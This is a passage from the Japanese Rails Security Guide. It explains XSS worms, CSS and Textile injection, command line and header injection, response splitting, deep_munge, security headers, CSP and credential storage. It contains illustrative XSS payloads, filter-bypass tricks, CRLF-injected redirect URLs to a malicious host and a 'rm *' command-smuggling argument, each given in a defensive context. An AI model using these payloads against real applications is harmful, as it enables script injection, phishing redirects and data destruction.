上の例を実行するとメッセージボックスが表示されます。なお、これは上のsanitize()フィルタで認識されます。Hackvertorは文字列の難読化とエンコードを行なう優れたツールであり、「敵を知る」のに最適です。Railsのsanitize()メソッドは、このようなエンコーディング攻撃をかわします。

7.3.3 アンダーグラウンドでの攻撃例

近年におけるWebアプリケーションへの攻撃を理解するには、実際の攻撃例を目にするのがベストです。

以下はJs.Yamanner@m Yahoo! Mail ワーム からの抜粋です。この攻撃は2006年6月11日に行われたもので、Webメールインターフェイスを利用したワームの最初の事例です。

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

このワームはYahooのHTML/JavaScriptフィルタの抜け穴を利用していました。このフィルタは元来、JavaScriptが仕込まれる可能性のあるtarget属性とonload属性をすべてフィルタするようになっていました。しかし残念ながらこのフィルタは1度しか実行されなかったため、ワームが潜むonload属性が除去されずにそのまま残ってしまいました。この事例からも、完璧な拒否リストフィルタは永遠にありえないこと、そしてHTML/JavaScriptをWebアプリケーションで許可することに困難が伴う理由をおわかりいただけると思います。

webmailワームの他の概念実証的な事例としてNdujaを取り上げます。詳細についてはRosario Valotta'の論文を参照してください。どちらのwebmailワームもメールアドレスの収集が狙いで、犯罪的ハッカーが不正な収入を得るのに使われることがあります。

2006年12月、実在する34,000人のユーザー名とパスワードがMySpaceへのフィッシング攻撃によって盗み出されました。この攻撃では「login_home_index_html」という名前をURLに持つプロファイルページが捏造され、それによってこのURLはユーザーからは何の変哲もないように見えました。MySpaceの本物のWebページコンテンツは特殊なHTML/CSSによって覆い隠され、独自の偽ログインページを代りに表示しました。

7.4 CSSインジェクション

CSSインジェクションは実際にはJavaScriptのインジェクションです(IEや特定のバージョンのSafariなどではCSSに含まれるJavaScriptの実行が許可されています)。WebアプリケーションでカスタムCSSを許可する前によく考えましょう

CSSインジェクションの説明に最適なのは、かの有名なMySpace Samyワームです。このワームは、攻撃者であるSamyのプロファイルページを開くだけで自動的にSamyに友達リクエストを送信するというものです。他愛もないいたずらだったかもしれませんが、Samyのもとには数時間のうちに百万件以上の友達リクエストが集まり、それによってMySpaceに膨大なトラフィックが発生してサイトがオフラインになってしまいました。以下はこのワームに関する技術的な解説です。

MySpaceでは多くのタグをブロックしていましたが、CSSについては禁止していなかったので、ワームの作者はCSSに以下のようなJavaScriptを仕込みました。

<div style="background:url('javascript:alert(1)')">

ここでスクリプトの正味の部分(ペイロード)はstyle属性に置かれます。一重引用符と二重引用符が既に両方使われているので、このペイロードでは引用符を使えません。しかしJavaScriptにはどんな文字列もコードとして実行できてしまう便利なeval()関数があります。この関数は強力ですが危険です。

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

eval()関数は拒否リスト方式の入力フィルタを実装した開発者にとってはまさに悪夢です。この関数を使われてしまうと、たとえば以下のように「innerHTML」という単語をstyle属性に隠しておくことができてしまうからです。

alert(eval('document.body.inne' + 'rHTML'));

次の問題では、MySpaceは"javascript"という単語をフィルタしていたにもかかわらず、「java<NEWLINE>script」と書くことでこのフィルタを突破されてしまいました。

<div id="mycode" expr="alert('hah!')" style="background:url('java
 script:eval(document.all.mycode.expr)')">

さらに次の問題では、ワームの作者がCSRFセキュリティトークンを利用していました。これがなければ友達リクエストをばらまくということはできない相談だったでしょう。ワームの作者は、ユーザーが追加される直前にページに送信されたGETリクエストの結果を解析してCSRFトークンを手に入れていました。

最終的に4KBサイズのワームができあがり、作者は自分のプロファイルページにこれを注入しました。

moz-bindingというCSSプロパティは、FirefoxなどのGeckoベースのブラウザではCSS経由でJavaScriptを注入する手段に使われる可能性があることが判明しています。

7.4.1 対応策

繰り返しますが、拒否リストによる完璧なフィルタは決して作れません。しかしWebアプリケーションでカスタムCSSを使える機能はめったにないので、これを効果的にフィルタできる許可リストCSSフィルタを見つけるのは難しいでしょう。Webアプリケーションの色や画像をカスタマイズできるようにしたいのであれば、ユーザーに色や画像を選ばせ、Webアプリケーションの側でCSSをビルドするようにしましょう。ユーザーがCSSを直接カスタマイズできるような作りにはしないでください。どうしても必要であれば、許可リストベースのCSSフィルタとしてRailsのsanitize()メソッドをお使いください。

7.5 テキスタイルインジェクション(Textile Injection)

セキュリティ上の理由からHTML以外のテキストフォーマット機能を提供するのであれば、何らかのマークアップ言語を採用し、それをサーバー側でHTMLに変換するようにしてください。RedClothはRuby用に開発されたマークアップ言語の一種ですが、注意して使わないとXSSに対しても脆弱になります。

例を挙げます。RedClothは _test_というマークアップを<em>test<em>に変換します。この箇所のテキストはイタリックになります。しかし、執筆当時の最新バージョンである3.0.4までのRedClothはXSSに関しても脆弱でした。この重大なバグを取り除くには最新のバージョン4を入手してください。しかし新しいバージョンでも若干のセキュリティバグが見つかったので、対応策は未だに欠かせません。バージョン3.0.4の例を以下に示します。

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

テキスタイルプロセッサによって作成されていないHTMLを除去するには、:filter_htmlオプションをお使いください。

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

ただしこのメソッドでは、仕様上一部のHTMLタグ(<a>など)が除去されません。

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
7.5.1 対応策

XSS対応策で既に述べたとおり、RedClothは必ず許可リストフィルタと組み合わせてお使いください

7.6 Ajaxインジェクション

Ajaxでも、通常のWebアプリケーション開発上で必要となるセキュリティ上の注意と同様の注意が必要です。ただし1つ例外があります。ページヘの出力は、アクションがビューをレンダリングしない場合であってもエスケープが必要です。

in_place_editorプラグインや、ビューをレンダリングする代りに文字列を返すようなアクションを使う場合は、アクションで返される値を確実にエスケープする必要があります。もしXSSで汚染された文字列が戻り値に含まれていると、ブラウザで表示されたときに悪意のあるコードが実行されてしまいます。入力値はすべてh()メソッドでエスケープしてください。

7.7 コマンドラインインジェクション

ユーザーが入力したデータをコマンドラインのオプションに使う場合は十分に注意してください。

Webアプリケーションが背後のOSコマンドを実行しなければならない場合、Rubyにはexec(コマンド)syscall(コマンド)system(コマンド)、そしてバッククォート記法という方法が用意されています。特に、これらのコマンド全体または一部を入力できる可能性に注意が必要です。ほとんどのシェルでは、コマンドにセミコロン;や垂直バー|を追加して別のコマンドを簡単に結合できてしまいます。

対応策は、コマンドラインのパラメータを安全に渡せるsystem(コマンド, パラメータ)メソッドを使うことです

system("/bin/echo","hello; rm *")
# "hello; rm *"を実行してもファイルは削除されない

7.8 ヘッダーインジェクション

HTTPヘッダは動的に生成されるものであり、特定の状況ではヘッダにユーザー入力が注入されることがあります。これを使って、にせのリダイレクト、XSS、HTTPレスポンス分割攻撃が行われる可能性があります。

HTTPリクエストヘッダで使われているフィールドの中にはRefererUser-Agent (クライアント側ソフトウェア)、Cookieフィールドがあります。Responseヘッダーには、たとえばステータスコード、Cookieフィールド、Locationフィールド (リダイレクト先を表す) があります。これらのフィールド情報はユーザー側から提供されるものであり、さほど手間をかけずに操作できてしまいます。これらのフィールドもエスケープしてください。エスケープが必要になるのは、管理画面でUser-Agentヘッダを表示する場合などが考えられます。

さらに、ユーザー入力の一部を取り入れたレスポンスヘッダを生成する場合は、何が行われているのかを正確に把握することが重要です。たとえば、ユーザーを特定のページにリダイレクトしてから元のページに戻したいとします。このとき、refererフィールドをフォームに導入して、指定のアドレスにリダイレクトしたとします。

redirect_to params[:referer]

このとき、Railsはその文字列をLocationヘッダフィールドに入れて302(リダイレクト)ステータスをブラウザに送信します。悪意のあるユーザーがこのとき最初に行なうのは、以下のような操作です。

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

Rails 2.1.2より前のバージョン(およびRuby)に含まれるバグが原因で、ハッカーが以下のように任意のヘッダを注入できてしまう可能性があります。

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

上のURLにおける%0d%0a\r\nがURLエンコードされたものであり、RubyにおけるCRLF文字です。2番目の例では2つ目のLocationヘッダーフィールドが1つ目のものを上書きするため、以下のようなHTTPヘッダーが生成されます。

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

ヘッダーインジェクションにおける攻撃方法とは、ヘッダーにCRLF文字を注入することです。攻撃者は偽のリダイレクトでどんなことができてしまうのでしょうか。攻撃者は、ユーザーをフィッシングサイトにリダイレクトし(フィッシングサイトの見た目は本物そっくりに作っておきます)、ユーザーを再度ログインさせてそのログイン情報を攻撃者に送信する可能性があります。あるいは、フィッシングサイトからブラウザのセキュリティホールを経由して邪悪なソフトウェアを注入するかもしれません。Rails 2.1.2ではredirect_toメソッドのLocationフィールドからこれらの文字をエスケープするようになりました。ユーザー入力を用いて通常以外のヘッダーフィールドを作成する場合には、CRLFのエスケープを必ず自分で実装してください

7.8.1 レスポンス分割

ヘッダーインジェクションが実行可能になってしまっている場合、レスポンス分割(response splitting)攻撃も同様に実行可能になっている可能性があります。HTTPのヘッダーブロックの後ろには2つのCRLFが置かれてヘッダーブロックの終了を示し、その後ろに実際のデータ(通常はHTML)が置かれます。レスポンス分割とは、ヘッダーフィールドに2つのCRLFを注入し、その後ろに邪悪なHTMLを配置するという手法です。このときのレスポンスは以下のようになります。

HTTP/1.1 302 Found [最初は通常の302レスポンス]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html


HTTP/1.1 200 OK [ここより下は攻撃者によって作成された次の新しいレスポンス]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [任意の邪悪な入力が
Keep-Alive: timeout=15, max=100         リダイレクト先のページとして表示される]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

特定の条件下で、この邪悪なHTMLが標的ユーザーのブラウザで表示されることがあります。ただし、おそらくKeep-Alive接続が有効になっていないとこの攻撃は効かないでしょう。多くのブラウザはワンタイム接続を使っているからです。かといって、Keep-Aliveが無効になっていることを当てにするわけにはいきません。これはいずれにしろ重大なバグであり、ヘッダーインジェクションとレスポンス分割の可能性を排除するため、Railsを2.0.5または2.1.2にアップグレードする必要があります

8 安全でないクエリ生成

Rackがクエリパラメータを解析(parse)する方法とActive Recordがパラメータを解釈する方法の組み合わせに問題があり、where句がIS NULLのデータベースクエリを本来の意図に反して生成することが可能になってしまっています。(CVE-2012-2660CVE-2012-2694 および CVE-2013-0155) のセキュリティ問題への対応として、Railsの動作をデフォルトでセキュアにするためにdeep_mungeメソッドが導入されました。

以下は、deep_mungeが実行されなかった場合に攻撃者に利用される可能性のある脆弱なコードの例です。

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

params[:token][nil][nil, nil, ...]['foo', nil]のいずれかの場合、nilチェックをパスするにもかかわらず、where句がIS NULLまたはIN ('foo', NULL)になってSQLクエリに追加されてしまいます。

Railsをデフォルトでセキュアにするために、deep_mungeメソッドは一部の値をnilに置き換えます。リクエストで送信されたJSONベースのパラメータがどのように見えるかを以下の表に示します。

JSON Parameters
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

リスクと取扱い上の注意を十分理解している場合に限り、deep_mungeをオフにしてアプリケーションを従来の動作に戻すことができます。

config.action_dispatch.perform_deep_munge = false

9 デフォルトのヘッダー

Railsアプリケーションから受け取るすべてのHTTPレスポンスには、以下のセキュリティヘッダーがデフォルトで含まれています。

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '1; mode=block',
  'X-Content-Type-Options' => 'nosniff',
  'X-Download-Options' => 'noopen',
  'X-Permitted-Cross-Domain-Policies' => 'none',
  'Referrer-Policy' => 'strict-origin-when-cross-origin'
}

デフォルトのヘッダー設定はconfig/application.rbで変更できます。

config.action_dispatch.default_headers = {
  'Header-Name' => 'Header-Value',
  'X-Frame-Options' => 'DENY'
}

以下のようにヘッダーを除去することもできます。

config.action_dispatch.default_headers.clear

よく使われるヘッダーのリストを以下に示します。

  • X-Frame-Options: RailsではデフォルトでSAMEORIGINが指定されます。このヘッダーは、同一ドメインでのフレーミングを許可します。'DENY'を指定するとすべてのフレーミングが不許可になります。すべてのWebサイトについてフレーミングを許可するには'ALLOWALL'を指定します。
  • X-XSS-Protection: Railsではデフォルトで1; mode=blockが指定されます。XSS攻撃が検出された場合は、XSS Auditorとブロックページをお使いください。XSS Auditorをオフにしたい場合は'0;'を指定します(レスポンスがリクエストパラメータからのスクリプトを含んでいる場合に便利です)。
  • X-Content-Type-Options: Railsではデフォルトでnosniffが指定されます。このヘッダーは、ブラウザがファイルのMIMEタイプを推測しないようにします。
  • X-Content-Security-Policy: このヘッダーは、コンテンツタイプを読み込む元のサイトを制御するための強力なメカニズムです。
  • Access-Control-Allow-Origin: このヘッダーは、同一生成元ポリシーのバイパスとクロスオリジン(cross-origin)リクエストをサイトごとに許可します。
  • Strict-Transport-Security: このヘッダーは、ブラウザからサイトへの接続をセキュアなものに限って許可するかどうかを指定します

9.1 Content Security Policy(CSP)

Railsでは、アプリケーションでContent Security Policy(CSP)を設定するためのDSLが提供されています。グローバルなデフォルトポリシーを設定し、それをリソースごとにオーバーライドすることも、lambdaを用いてリクエストごとに値をヘッダーに注入することもできます(マルチテナントのアプリケーションにおけるアカウントのサブドメインなど)。

以下はグローバルなポリシーの例です。

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # 違反レポートの対象URIを指定する
  policy.report_uri "/csp-violation-report-endpoint"
end

以下はコントローラでオーバーライドするコード例です。

# ポリシーをインラインでオーバーライドする場合
class PostsController < ApplicationController
  content_security_policy do |p|
    p.upgrade_insecure_requests true
  end
end
# リテラル値を使う場合
class PostsController < ApplicationController
  content_security_policy do |p|
    p.base_uri "https://www.example.com"
  end
end
# 静的値と動的値を両方使う場合
class PostsController < ApplicationController
  content_security_policy do |p|
    p.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end
# グローバルCSPをオフにする場合
class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

レガシーなコンテンツを移行するときにコンテンツの違反だけをレポートしたい場合は、設定でcontent_security_policy_report_only属性を用いてContent-Security-Policy-Report-Onlyを設定します。

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy_report_only = true
# コントローラでオーバーライドする場合
class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end

以下の方法でnonceの自動生成を有効にできます。

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end
Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

後は以下のようにhtml_optionsの中でnonce: trueを渡せばnonce値が自動的に追加されます。

<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

javascript_include_tagでも同じことができます。

<%= javascript_include_tag "script", nonce: true %>

セッションごとにインライン<script>タグを許可するnonce値を含むcsp-nonceメタタグを生成するには、csp_meta_tagヘルパーをお使いください。

<head>
  <%= csp_meta_tag %>
</head>

これは、動的に読み込まれるインライン<script>要素をRails UJSヘルパーが生成するのに使われます。

10 利用環境のセキュリティ

アプリケーションのコードや実行環境をセキュアにする方法については、本ガイドの範疇を超えます。ただし、config/database.ymlなどに置かれるデータベース接続設定のセキュリティや、config/secrets.ymlなどに置かれるサーバーサイドの秘密鍵のセキュリティは保つようにしてください。これらのファイルや、その他重要な情報を含む可能性のあるファイルを、環境に合わせて複数のバージョンを使い分けることで、さらにアクセス制限をかけられます。

10.1 独自のcredential

Railsはcredentialファイルconfig/credentials.yml.encに秘密鍵を保存します。このファイルは暗号化されているため直接編集することはできません。Railsはcredentialファイルを暗号化するためのマスターキーにconfig/master.keyか環境変数ENV["RAILS_MASTER_KEY"]を使用します。credentialファイルは、マスターキーが安全に保存されている場合に限り、バージョン管理システムに登録することができます。

新しい秘密鍵をcredentialファイルに追加するには、まずrails secretを実行して新しい秘密鍵を生成し、続いてrails credentials:editでcredentialを編集して秘密鍵を追加します。credentials:editを実行すると、credentialファイルとマスターキーがまだ存在してなければ新たに作成します。

このファイルには、アプリケーションのsecret_key_baseがデフォルトで含まれますが、外部API向けのアクセスキーなどのcredentialを含めることもできます。

credentialファイル内の秘密情報にはRails.application.credentialsでアクセスできます。たとえば、復号したconfig/credentials.yml.encファイルに以下があるとします。

secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY

どの環境でもRails.application.credentials.some_api_keyからSOMEKEYが返されます。

キーが空の場合に例外を発生させるには、!を付けます。

Rails.application.credentials.some_api_key! # => raises KeyError: :some_api_key is blank

credentialについて詳しくは、rails credentials:helpを参照してください。

マスターキーは安全な場所に保管してください。マスターキーをコミットに含めてはいけません。

11 依存関係の管理とCVEについて

私たちは、(セキュリティ問題も含め)新しいバージョンの利用を推進するためだけの理由で依存関係を変更することはありません。その理由は、私たちのセキュリティに関する努力とは別に、アプリケーションのオーナーが手動でgemを更新する必要があるためです。脆弱な依存関係を安全に更新するには、bundle update --conservative gem_nameをお使いください。

12 追加資料

激しく移り変わるセキュリティの動向に常に目を配り、最新の情報を入手するようにしてください。新しく登場した脆弱性を見逃すと、壊滅的な損害をこうむる可能性があります。Railsのセキュリティ関連の追加リソースをご紹介します。

フィードバックについて

Railsガイドは GitHub の yasslab/railsguides.jp で管理・公開されております。本ガイドを読んで気になる文章や間違ったコードを見かけたら、気軽に Pull Request を出して頂けると嬉しいです。Pull Request の送り方については GitHub の README をご参照ください。

原著における間違いを見つけたら『Rails のドキュメントに貢献する』を参考にしながらぜひ Rails コミュニティに貢献してみてください 🛠💨✨

本ガイドの品質向上に向けて、皆さまのご協力が得られれば嬉しいです。

Railsガイド運営チーム (@RailsGuidesJP)

支援・協賛

Railsガイドは下記の協賛企業から継続的な支援を受けています。支援・協賛にご興味あれば協賛プランからお問い合わせいただけると嬉しいです。

  1. Star
  2. このエントリーをはてなブックマークに追加